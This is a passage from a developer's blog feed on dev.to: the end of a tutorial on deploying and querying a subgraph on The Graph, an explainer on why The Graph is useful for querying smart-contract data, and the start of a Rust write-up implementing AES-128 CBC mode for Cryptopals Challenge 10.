  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Save updated entity to store&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the imports above are the same types/classes generated earlier by &lt;code&gt;graph codegen&lt;/code&gt;. The handlers receive &lt;code&gt;event&lt;/code&gt; of type &lt;code&gt;NewGravatar&lt;/code&gt;/&lt;code&gt;UpdateGravatar&lt;/code&gt;, which are subclass of a parent &lt;code&gt;ethereum.Event&lt;/code&gt; class. The event data fields is available in &lt;code&gt;event.params&lt;/code&gt; object.&lt;/p&gt;

&lt;p&gt;Each entity requires a unique id assigned to it. Here, hex of &lt;code&gt;event.params.id&lt;/code&gt; (type &lt;a href="https://thegraph.com/docs/en/developer/assemblyscript-api#big-int"&gt;&lt;code&gt;BigInt&lt;/code&gt;&lt;/a&gt;) from contract event is used. However, uniqueness can also be guaranteed by choosing id from event metadata like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;event.transaction.from.toHex()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;event.transaction.hash.toHex() + "-" + event.logIndex.toString()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After setting/updating fields to entity, &lt;a href="https://thegraph.com/docs/en/developer/assemblyscript-api#store-api"&gt;Store API&lt;/a&gt; provides methods like &lt;code&gt;load&lt;/code&gt; and &lt;code&gt;save&lt;/code&gt; on &lt;code&gt;Entity&lt;/code&gt; (inherited by &lt;code&gt;Gravatar&lt;/code&gt;) types to retrieve and save the entity to store.&lt;/p&gt;

&lt;h2&gt;
  
  
  Publishing the Subgraph
&lt;/h2&gt;

&lt;p&gt;Now that all of the configuration is done, let's proceed to deploying this subgraph. But before doing that make sure that &lt;code&gt;mapping.ts&lt;/code&gt; is checked without any errors or bugs. It is not checked by code generation step. As a necessary precaution run the build command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(Or &lt;code&gt;yarn build&lt;/code&gt; / &lt;code&gt;npm build&lt;/code&gt; as this command must also be configured in &lt;code&gt;package.json&lt;/code&gt; too)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This compiles the subgraph to WebAssembly. If there is a syntax error somewhere, it should fail. Otherwise, build succeeds, creating a &lt;code&gt;./build&lt;/code&gt; directory with built files.&lt;/p&gt;

&lt;p&gt;For deploying the subgraph to &lt;a href="https://thegraph.com/studio/"&gt;Subgraph Studio&lt;/a&gt;, you'll need the deploy key of the subgraph. Go to the already created Gravity subgraph's dashboard in the studio and copy its &lt;strong&gt;deploy key&lt;/strong&gt;. Now authenticate from cli with this key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph auth --studio &amp;lt;DEPLOY KEY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This stores the access token to system's keychain.&lt;/p&gt;

&lt;p&gt;Finally, deploy to studio by providing subgraph slug:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph deploy --studio gravity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will ask for a version label for current version of your subgraph. You can enter whatever version semantic you prefer or go with &lt;code&gt;v0.0.1&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✔ Version Label (e.g. v0.0.1) · v0.0.1
.
.
✔ Apply migrations
✔ Load subgraph from subgraph.yaml
.
✔ Compile subgraph
.
✔ Write compiled subgraph to build/
.
.
✔ Upload subgraph to IPFS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that the subgraph is not yet published! It is currently deployed to the studio. After deployment it will start syncing data from the chain and take some time, after which you can play around and test it. Then, if everything seems to be ok, hit &lt;strong&gt;Publish&lt;/strong&gt;. This will publish your subgraph to the production on the Graph network and you'll get an API endpoint, like below, where you query the data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.studio.thegraph.com/query/&amp;lt;ID&amp;gt;/&amp;lt;SUBGRAPH_NAME&amp;gt;/&amp;lt;VERSION&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that every query will be &lt;strong&gt;charged in GRT tokens&lt;/strong&gt; as fees.&lt;/p&gt;

&lt;p&gt;However, for testing purposes the studio also provides a temporary, rate limited API endpoint. For example, for me it was - &lt;code&gt;https://api.studio.thegraph.com/query/21330/gravity/v0.0.1&lt;/code&gt;. Let's see if it works. You can use this online GraphQL client - &lt;a href="https://graphiql-online.com/"&gt;GraphiQL&lt;/a&gt; for that. Enter your testing API endpoint and make the following query to get a gravatar by id and hit run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="k"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyQuery&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0xa"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;displayName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;imageUrl&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which outputs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"gravatar"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"displayName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"duqd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0xa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"imageUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://ucarecdn.com/ddbebfc0-..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"owner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0x48c89d77ae34ae475e4523b25ab01e363dce5a78"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It worked!&lt;/p&gt;

&lt;p&gt;This was a fairly simple example to familiarize with the workings of The Graph. You might define a more complex GraphQL schema, mappings and the subgraph manifest for a production application. Feel free to dive into the &lt;a href="https://thegraph.com/docs/en/developer/quick-start/"&gt;official docs&lt;/a&gt; for reference.&lt;/p&gt;

&lt;p&gt;See full code at GitHub repo &lt;a href="https://github.com/theNvN/gravity-subgraph"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hope you learned some awesome stuff! 😎&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Feel free to catch me &lt;a href="https://linktr.ee/thenvn"&gt;here&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;

</description>
      <category>thegraph</category>
      <category>smartcontract</category>
      <category>ethereum</category>
      <category>web3</category>
    </item>
    <item>
      <title>The Graph Tutorial: Why The Graph?</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Sat, 12 Feb 2022 15:17:37 +0000</pubDate>
      <link>https://dev.to/nvnx/the-graph-tutorial-why-the-graph-ka3</link>
      <guid>https://dev.to/nvnx/the-graph-tutorial-why-the-graph-ka3</guid>
      <description>&lt;p&gt;I'm assuming the reader of this article has prior experience in writing basic smart contracts, at minimum. If not, it's a great time to &lt;a href="https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html"&gt;start&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually is The Graph?
&lt;/h2&gt;

&lt;p&gt;From the official docs:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The Graph is a decentralized protocol for indexing and querying data from blockchains, starting with Ethereum. It makes it possible to query data that is difficult to query directly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To sum up The Graph make querying data, of any kind, from the smart contract super easy. Which would be frustratingly hard to do otherwise.&lt;/p&gt;

&lt;p&gt;Before diving directly into it, let's focus on what the real problem here is.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;Chances are you're also coming to web3 from the traditional web2 space, building client-server architecture-based web applications. You might have found the data-querying (from smart-contract storage) capabilities of a contract very limiting. Normally, you had to write any kind of query, however, complex it might be, at the server to retrieve from DB and you make it an API to connect to a user-facing app.&lt;/p&gt;

&lt;p&gt;Let's take an example of a ubiquitous ERC-20 Token contract (abbreviated for simplicity):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Token is IERC20 {
    mapping(address =&amp;gt; uint256) private _balances;

    mapping(address =&amp;gt; mapping(address =&amp;gt; uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
        .
        .
        .
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now think about how you would make a fairly-complex query from it, like: list all addresses with current balance, whose balances are greater than &lt;code&gt;100,000&lt;/code&gt; and who've received allowance of more than &lt;code&gt;10,000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If this was a database it would have been a fairly easy task. You have a wider range of freedom in terms of writing favorable table schemas and can write up a simple DB query in SQL syntax like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;Token&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;total_received_allowance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or, a NoSQL MongoDB query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; 
        &lt;span class="na"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$gt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
        &lt;span class="na"&gt;totalReceivedAllowance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$gt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And you're done in a couple of lines. Nothing brain-wrecking.&lt;/p&gt;

&lt;p&gt;Now, just try to write a function in &lt;code&gt;Token&lt;/code&gt; contract above that returns exactly the same results as the database above. You are destined to face multiple roadblocks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Even a seemingly simple query is frustratingly hard&lt;/li&gt;
&lt;li&gt;You might be forced to alter your data layout that complements that one query but might not complement other&lt;/li&gt;
&lt;li&gt;More storage layout constraints if and when upgrading contracts through proxy patterns&lt;/li&gt;
&lt;li&gt;Complex storage might introduce bugs and/or compromise security, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And what about operations like joins, aggregations, relationships between entities, pagination, and non-trivial filters? Damn!&lt;/p&gt;

&lt;p&gt;In the end, you'd have to go build a dedicated server that indexes and processes data from the blockchain, store them to a traditional database, and build APIs that now query from this database instead of directly from contract storage. In fact, this is what applications like &lt;a href="https://etherscan.io/"&gt;Etherscan&lt;/a&gt; did. This is not only costly but deviating from the core goal and a very time-consuming task. How could you be free to innovate with such a barrier upfront?&lt;/p&gt;

&lt;h3&gt;
  
  
  The Solution
&lt;/h3&gt;

&lt;p&gt;Now you know what exactly the problem is. To avoid setting up and maintaining your own dedicated blockchain indexing servers, just so that you can avail freedom around querying data however you want for your application.&lt;/p&gt;

&lt;p&gt;The Graph is a decentralized protocol, meaning it is a network with multiple nodes working together to persist and serve the data in response to queries. The Graph network is run by multiple entities with different roles in the network  - &lt;a href="https://thegraph.com/docs/en/indexing/"&gt;Indexer&lt;/a&gt;, &lt;a href="https://thegraph.com/docs/en/curating/"&gt;Curator&lt;/a&gt;, &lt;a href="https://thegraph.com/docs/en/delegating/"&gt;Delegator&lt;/a&gt; and the &lt;a href="https://thegraph.com/docs/en/developer/quick-start/"&gt;Developer&lt;/a&gt;. In this tutorial I'll be focusing in on Developers. Though you can read more about the different roles &lt;a href="https://thegraph.com/docs/en/#network-roles"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As a developer, you have to convey information about the "subgraph" corresponding to the contract(s) you will be querying the data from. This is done by writing some necessary configuration files laying out what and how to store data. Then this subgraph, which will be the source of your data, will be indexed by the network according to the requirements mentioned by you in configuration and become available to be queried through a GraphQL API endpoint.&lt;/p&gt;

&lt;p&gt;The three required files that need to be defined by the Developer are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manifest (&lt;code&gt;subgraph.yaml&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This file defines the data source to index data from, including target contract, block to start indexing from, events to respond to, etc.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Schema (&lt;code&gt;schema.graphql&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The GraphQL schema that defines what data you wish to retrieve from the indexed subgraph. This is the same as defining well-structured &amp;amp; related models in an API.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AssemblyScript Mappings (&lt;code&gt;mapping.ts&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some code written in AssemblyScript that translates data from a data source (defined in &lt;code&gt;subgraph.yaml&lt;/code&gt;) to structured entities (defined in &lt;code&gt;schema.graphql&lt;/code&gt;) in the schema.&lt;/p&gt;

&lt;p&gt;Exactly what goes in these files defines the whole subgraph and API available to you.&lt;br&gt;
Check out the next in series - &lt;a href="https://dev.to/nvn/the-graph-tutorial-creating-a-subgraph-4no4"&gt;Creating a Subgraph&lt;/a&gt; to start creating your own subgraphs!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hope you learned some awesome stuff! 😎&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Feel free to catch me &lt;a href="https://linktr.ee/thenvn"&gt;here&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;

</description>
      <category>thegraph</category>
      <category>smartcontract</category>
      <category>ethereum</category>
      <category>web3</category>
    </item>
    <item>
      <title>CryptoPals Crypto Challenges Using Rust: Implement CBC Mode</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Fri, 04 Feb 2022 16:02:41 +0000</pubDate>
      <link>https://dev.to/nvnx/cryptopals-crypto-challenges-using-rust-implement-cbc-mode-d2n</link>
      <guid>https://dev.to/nvnx/cryptopals-crypto-challenges-using-rust-implement-cbc-mode-d2n</guid>
      <description>&lt;p&gt;This is &lt;a href="https://cryptopals.com/sets/2/challenges/10"&gt;Challenge 10&lt;/a&gt; of &lt;a href="https://cryptopals.com"&gt;Cryptopals&lt;/a&gt; challenges implemented using Rust language.&lt;/p&gt;

&lt;h2&gt;
  
  
  Context 💡
&lt;/h2&gt;

&lt;p&gt;This asks us to implement CBC (cipher block chaining) mode of AES-128 encryption. Straightforward. Highly recommend checking out &lt;a href="https://dev.to/thenvn/cryptopals-crypto-challenges-using-rust-aes-in-ecb-mode-9bl"&gt;Challenge 7&lt;/a&gt; and &lt;a href="https://dev.to/thenvn/cryptopals-crypto-challenges-using-rust-implement-pkcs7-padding-gfh"&gt;Challenge 9&lt;/a&gt;, if you haven't yet.&lt;/p&gt;

&lt;p&gt;Like ECB mode, CBC is also a block cipher mode. It also encrypts blocks of fixed size of the plaintext with necessary paddings. The difference from ECB comes from the fact that before each block is encrypted with AES-128, it is XORed with the encrypted block (or Initialization Vector, IV for first block) that came before it. So, in a sense, each block is mixed with previous cipher block and then encrypted. Like shown in the following figure:&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lIgHQZR7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://upload.wikimedia.org/wikipedia/commons/thumb/8/80/CBC_encryption.svg/600px-CBC_encryption.svg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lIgHQZR7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://upload.wikimedia.org/wikipedia/commons/thumb/8/80/CBC_encryption.svg/600px-CBC_encryption.svg.png" alt="cbc mode" width="600" height="242"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;(Image source: Wikipedia)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Given key and IV, decryption is simply reverse of it. Each block is XORed with previous encrypted block (or IV) after being decrypted using AES.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6lQ0PztS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/CBC_decryption.svg/600px-CBC_decryption.svg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6lQ0PztS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/CBC_decryption.svg/600px-CBC_decryption.svg.png" alt="cbc mode" width="600" height="242"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;(Image source: Wikipedia)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Code 🕶
&lt;/h2&gt;

&lt;p&gt;This is going to use &lt;code&gt;aes&lt;/code&gt; crate for AES-128 encryptions and our pkcs#7 padding implementation from &lt;a href="https://dev.to/thenvn/cryptopals-crypto-challenges-using-rust-implement-pkcs7-padding-gfh"&gt;Challenge 9&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I'm going to create a quick utility function to xor two slices of bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;xor_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;bytes2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;bytes1&lt;/span&gt;
        &lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes2&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;)|&lt;/span&gt; &lt;span class="n"&gt;b1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The encryption function is straightforward too. It will take message, key and IV as params. Since, we're implementing AES-128, block size is 16. So, encryption will be processed 16 bytes block at a time. &lt;code&gt;step_by()&lt;/code&gt; method of &lt;code&gt;iterator&lt;/code&gt;s is available for this purpose. After each block is encrypted and collected in a &lt;code&gt;Vec&lt;/code&gt; it is hex encoded using &lt;code&gt;hex&lt;/code&gt; crate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;set_2_block_crypto&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;c9_implement_pkcs_padding&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;pad_pkcs7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bitwise&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;xor_bytes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;::{&lt;/span&gt;&lt;span class="nn"&gt;generic_array&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GenericArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BlockDecrypt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BlockEncrypt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NewBlockCipher&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Aes128&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

